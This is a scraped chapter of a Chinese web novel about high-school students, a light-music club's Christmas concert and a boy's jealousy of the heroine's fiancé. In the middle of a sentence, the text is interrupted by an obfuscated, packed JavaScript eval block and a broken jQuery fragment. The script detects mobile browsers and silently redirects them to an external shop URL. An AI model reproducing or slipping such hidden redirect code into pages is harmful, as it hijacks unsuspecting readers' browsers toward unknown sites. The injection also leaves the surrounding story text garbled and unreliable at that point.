文趣网 > 其他小说 > 乙女游戏打不出be结局 > 15. 圣诞音乐会
    12月,定期考察。

    由于过两天就是圣诞节,过完圣诞就该放寒假了,因此成绩在公告栏张贴出来之后,大部分学生抱着较为轻松的心情讨论起来。

    “果然这次前五名又是A班的。”

    “其实B班的西村同学这次发挥很好吧,第六名,只差一点就能打破那条线了。”

    “话是这么说,可是每次都只差一点点,就能说明水平了吧。”

    “西村已经很优秀了,不需要和那些人比较。这个排行里真正可怕的只有那两个人吧?”

    “我看看,啊!”围观的学生惊呼,“这次是藤井第一啊,铃造同学输了啊......”

    “那两人的成绩和其他人完全不是一个档次的吧。”

    “几乎都是满分,是怪物呢。”

    ......

    铃造左手托腮,右手转着笔,皱眉看着桌上那道题目。

    “铃造同学,你看告示栏了吗?”崛内美娜戴着毛茸茸的耳罩,兴味十足地凑过来问。

    “嗯?”铃造抬头,思路被打断后稍微有点茫然,顿了两秒才了然,“我已经知道啦。这次,是班长赢了呢,不愧是他。”

    “噢——真大度啊,我们女人就该这样!”崛内朝她比了个赞的手势,见她面色如常,就转身施施然走了,好像只是顺便来关心一下。

    铃造摇摇头,轻笑了一下,很快就接上思路,继续为手上的题目打草稿。

    不远处,藤井澪正被人围着请教问题,等待对方演算的间隙,他微不可察地抬头,目光停在窗边托着脸沉思的少女身上。

    “班长,你看我的步骤对吗?”兴奋的声音让藤井回过神,他不着痕迹地扫了一眼对方的草稿,露出一个鼓励的笑,稍微应付了两句,指出做错的步骤。

    几分钟后,终于演算出正确答案,对方道谢后就抱着卷子离开了。

    再抬头看向铃造那边,却发现对方已经拎着书包起身,和另一个少年站得很近,似乎是打算一起离开教室了。

    藤井澪扶了扶眼镜,遮掩住自己的表情。

    “班长?”

    铃造快走出教室的时候突然想起什么似的,笑着回过头对座位靠近讲台的少年说道:“这次是你赢了呢,下次结果出来之前,我会更努力的。”

    “我也不会懈怠的,铃造同学。”藤井澪微微点头,眼睁睁看着铃造和我妻同学两人说笑着一起走出教室门,轻轻叹了口气,又低头继续收拾起自己的书包。

    “其实铃造同学已经很优秀了。”宇太郎跟在铃造的身后,两人一起往轻音活动室走去。

    铃造摇摇头,说:“最近我确实稍微忽视了一点学习。”

    “一个人的精力是有限的吧?铃造同学对自己要求这么高,会不会负担太重了。”宇太郎问。其实他心里觉得以铃造的条件,完全不必为了课业这么劳累自己,尤其前段时间对方还受过伤,眼下成绩被藤井超过是情有可原的。

    “我妻同学,谢谢你的关心。”哪怕背对他,铃造爱理依然露出一个微笑,只是稍微显得有点阴沉。

    她继续说:“我能做的事很少,可以做好的事情就更少了。”

    “可以的话,我不想留下任何遗憾。”铃造的脚步没有动摇,声音也很坚定。

    宇太郎静静倾听着,直到走到目的地,他上前一步推开门之前,才小声说:“铃造同学,能做的事情一点也不少,你真的很厉害。”

    “来了来了!”平田悠太在活动室里见二人推门而入,兴奋地扫了扫弦。

    “什么很厉害?我们轻音吗?”他哈哈大笑。

    趁着两人放下书包,走到各自排练的位置的时候,平田捏着麦克风清了清嗓子,故作深沉地娓娓唱道:“明天就是~圣诞音乐会~”

    “我们轻音~要做一场盛大的表演~”他唱着,突然提高了声音兴奋道,“就像文化祭那次一样!”

    “啪!啪!”中井拍了拍手,吐槽道:“你这家伙,真的很喜欢表演啊,一点都不觉得累吗。”

    川口嘴角一扬,接话道:“因为悠太收到了不少歌迷送的手写信呢,还有女生跟他表白。”

    “欸,真羡慕啊平田学长。”铃造抬手按了按琴键,给面子地捧场,如愿看到了平田得意地捂着脸,身体扭成麻花。

    “铃造也收获了很多表白呢。”中井希打开手机,把屏幕转过去对着铃造,上面正是学校论坛里上次文化祭表演之后有关轻音的帖子,铃造的脏辫造型被放大置顶,下面许多人评论“帅气”“厉害”之类的夸赞。

    铃造爱理看了看屏幕里的帖子,颇感头疼地说:“虽然很感谢...我这边不是很愿意再尝试一次脏辫造型呢,上次回家还被爸爸看见了,被打趣了好几天。”

    “挑染怎么样?很酷噢?”平田坏笑着提议,双手举高兴冲冲地喊,“全员挑染!全员出道!”

    “光看我妻同学的头发就知道不可能吧?”川口指了指宇太郎。

    宇太郎顶着不久前才修剪好的寸头,错觉般地感觉头皮发凉,迎着平田遗憾的眼神道歉道:“真是不好意思了学长,而且校规不允许染发吧。”

    “只需要说明自己是混血就好了吧,上次打扮成那样,学生会也没说什么。”平田嘟嘴咕哝道。

    “事到如今才说明混不混血的是否有些太迟了呢?”中井希嘴角抽搐,“普普通通的打扮就好了。”

    “知——道——了。”平田拖长了声音。

    吵吵嚷嚷地排练了一天,第二天又趁着舞台布置的时候紧急彩排了一遍,圣诞音乐会在大礼堂正式开幕了。

    欧式装修的大礼堂,长长的阶梯,复古的石膏装饰的白色扶手,数不清的射灯藏在穹顶和门檐内。

    场馆墙壁上贴了一层厚厚的白金色毛毡毯防止回音,四面巨大的落地彩窗被装饰得毛茸茸的,边缘框架上贴满了红红绿绿的挂饰和贴纸。

    最中央的演讲台被学生会的人抬走,取而代之的是巨大的圆形的、边缘布满了麦克风阵列的舞台,上面被提前布置好了钢琴、低音号和架子鼓等不便移动的乐器。

    穹顶最中心巨大的玻璃门被控制着向两边敞开,凛冽的冷空气顿时侵入室内,好在供暖设备持续工作着,没多久,穿着各式各样礼服的学生老师们都适应了室内重新回暖的温度。

    校长衣着很正式,正摸着白花花的胡子笑眯眯地作引入式的演讲,短短几分钟就结束了讲话,一边挥手示意一边下场。

    在学生们的掌声中,开场节目的参演人员正提着自己的乐器一个个上台就位,《蓝色多瑙河》缓缓被奏响,华丽大气的巨大音乐声中,学生们三三两两聚在一起,场面轻快,偶尔有人满脸通红地趁机表白邀舞。

    铃造爱理身穿白色蕾丝礼服长裙,肩上披着一层薄薄的绒毛披肩,顺滑如奶油的长发被尽数挽起,用珍珠饰品固定成花苞状的盘发。

    她抱臂站在舞池的角落,背后的柔光灯给她的身影渡上一层温暖的光晕。

    “我们的表演在后半段,机会难得,不找人跳跳舞吗?”中井希踩着高跟鞋,小腿处的蓝色鱼尾裙摆随她走动波光粼粼,此刻一边和不远处的同班同学挥手示意,一边离开前扭头看向铃造。

    “中井学姐去玩吧,我在等人呢。”铃造摇了摇头,温柔地目送她走向自己的朋友。

    高一的学生们大多还处于初次进入大礼堂的惊奇,高二和高三的前辈们已经如鱼得水地四处攀谈调笑了。

    宇太郎入场后目光就开始逡巡,一首接一首曲子在耳边流淌过,终于在另一端发现了铃造安静纤细的身影。

    找到了目标,他大跨步走向她。

    还有五米左右的距离时,从熙攘的人群里一个抬眼,宇太郎看见铃造侧过身和一旁的男人笑着聊天,正说着话,她自然地将手搭上那人的手心,二人像交叠的蝴蝶,翩然走向舞池中心。

    宇太郎放慢了脚步。

    和那对壁人即将擦肩而过的时候,铃造挽着橘弥生的手,眉眼流转间,余光瞥见他,于是她眼睛一亮,站定在原地,轻快地问候他安好。

    橘弥生也顺着铃造的视线看向他,露出一个温和友善的笑容,也招呼道:“等跳完这只舞,我们一起尝尝这次宴会的饮料怎么样?听说是学校的赞助集团特供的。”

    宇太郎点头,面色如常地和他们寒暄。

    下一支曲子要奏响了,前奏响起的瞬间,橘弥生笑着牵过铃造的手迈向舞会厅,二人像天造地设的王子和公主,穿着白色的考究的西装和礼服,优雅又喜悦地随音乐舞动,眼里仿佛只看得见彼此。

    宇太郎找好位置,靠在角落的立柱上,低着头,空茫地盯着身前的点心塔和无数盏颜色艳丽的玻璃杯。

    一曲毕。

    “啊,在这里。”橘弥生眼尖地看见了宇太郎,招呼着身后的铃造一起走近他。

    “听爱理说,下半场就轮到你们表演了?”橘弥生自然地从餐桌上端起两盏杯子,把粉红渐变的那杯果汁递给铃造,另一杯橙色的、杯口立着半片青柠的则递给宇太郎。

    他爽朗地介绍:“个人推荐这两种口味噢,刚到的时候就尝了尝,感觉你们应该会喜欢就留意上了。”

    宇太郎接过饮料,清甜中带着些微酸涩的味道在口腔中绽放,确实很合口味

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631163|206349||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,他道谢:“谢谢橘学长。”

    “你不喝吗,弥生?”铃造问。

    “我已经喝过不少了,哈哈哈。”橘弥生温柔地看向她,抬手轻轻为她整理了一下舞动后稍微有些松散的珍珠发卡。

    铃造一开始略往后偏了偏头,察觉到对方的意图后就没有再躲开,而是仰起脸对他道谢。

    宇太郎像雕塑一样安静地潜伏在二人身边,静静聆听他们的闲谈,偶尔在铃造看向自己的时候说两句不疼不痒附和的话。

    “......”

    “抱歉,我得走了。”橘弥生朝不远处冲他招手的几人扬了扬下巴,复又转过头来对两人歉意地笑道:“快毕业了,班里的同学们今天都很‘粘人’呢,大家都很不想面对离别吧。”

    “快去吧。”铃造理解地点头,“我们也得准备准备去演出了。”

    “我会好好聆听的。”说完最后一句,橘弥生离开了。

    冬天,天黑的很早,才刚过五点,透过穹顶和窗户可以看见外面已经黑沉沉的了,只有零星的路灯亮着。

    室内则是杯盏琳琅,灯火通明,温暖如春。

    “我妻同学?”铃造在他眼前挥了挥手,“很紧张吗,怎么总觉得你今天不在状态?”

    “抱歉。”宇太郎在听到铃造喊他名字的时候已经回过神了。

    只是又突然想到刚刚她对橘的称呼,“弥生”,对自己则从头到尾都是“我妻同学”。

    “部长刚刚在群里发的消息你看了吗,还有十分钟就到我们上场了,走吧。”铃造拿起手机确认了集合的地点,抬脚往别的方向走去。

    宇太郎松了松颈间的领带,困扰了他许久的窒息感稍微缓解了一点。

    见到平田几人的时候,他们已经装备好各自的乐器了,这次铃造的电子琴由于编曲和场合的变化,换成了舞台上早早安置好的贝希斯坦三角钢琴,宇太郎的电子鼓也被替换成音色更厚重的原声鼓,和舞台融为一体。

    这次表演的曲目只有一首,是轻音最新原创曲《终焉》的交响曲变奏版,特意被改编成适宜舞会的风格,曲子时长也被狡猾的部长延长到6分钟。

    这阵子排练的都是变奏版本,练习室的电子琴和电子鼓音色很难适应风格的变化,直到今天用场上设备彩排,表现的效果才差强人意。

    平田清了清嗓子,这次人声演唱的方式也改变了不少,对他来说是一个不小的挑战。

    尽管如此,上台前,平田还是拍了拍宇太郎的背,对心事重重的后辈鼓励道:“会顺利的,别担心!”

    宇太郎脚步一顿。

    其他几人,川口真人和中井希经过他的时候也都拍了拍他的背,似乎是发觉他心情低落,默契地用这种方式给他打气。

    最后是铃造。

    她也有学有样的轻轻拍了拍宇太郎的手臂,轻声说:“不用紧张,有我们呢。”

    宇太郎的心里猛地窜出一道恶魔。

    它一经诞生就委屈地大喊大叫,满地打滚,哭诉着——“你以为都是因为谁?”

    “那个可恨的、虚伪的未婚夫!那个‘弥生’,还有你,你这狠心的‘爱理’!你怎么能,你们怎么能在我面前...”

    可是背上和手臂上被轻拍的力度狠狠镇压了内心的波澜,宇太郎面上没有多余的表情,只有平静。

    他一再提醒自己不要有幼稚的想法,最后一个登上舞台。

    冷硬的钢琴键在铃造手上发出轻盈的声音,极为流畅惊艳的和弦经由麦克风被一层层放大,钢琴唯美的前奏狠狠攫住所有人的注意力,强势地席卷整个舞台。

    眼前这个专心拨弄琴键的铃造爱理,此刻才稍微吝啬地泄露了一丝属于天才的气场。

    互相交谈的听众们渐渐噤声,情不自禁看向中央舞台。

    铃造长长的睫毛遮住了瞳孔,为了把信心传递给伙伴,她不留余力地表演着,手指大力地高频跳跃,完美又冰冷的音符正残酷地展露统治力。

    贝斯低沉的倾诉融入其中。

    吉他轻缓地与所有音符交织,忧郁的人声海妖般吟唱起来。

    宇太郎细密地敲击军鼓。

    白色的雪花飘落,从穹顶的窗口轻轻经过,在抵达鼓面时终于被暖气融化,成了他动作间跳跃在鼓面的水滴。

    围过来的观众们惊叹着今年的初雪,有人忍不住抬手去接,却只能抓住一抹凉意,摊开手一看,手心只有润湿的掌纹。

    宇太郎控制着自己呼吸的节奏,稳健渐进的推进音乐篇幅。

    吟唱声渐高,在这个雪夜,灯光和音乐的最中心,宇太郎感觉自己变成一座孤岛。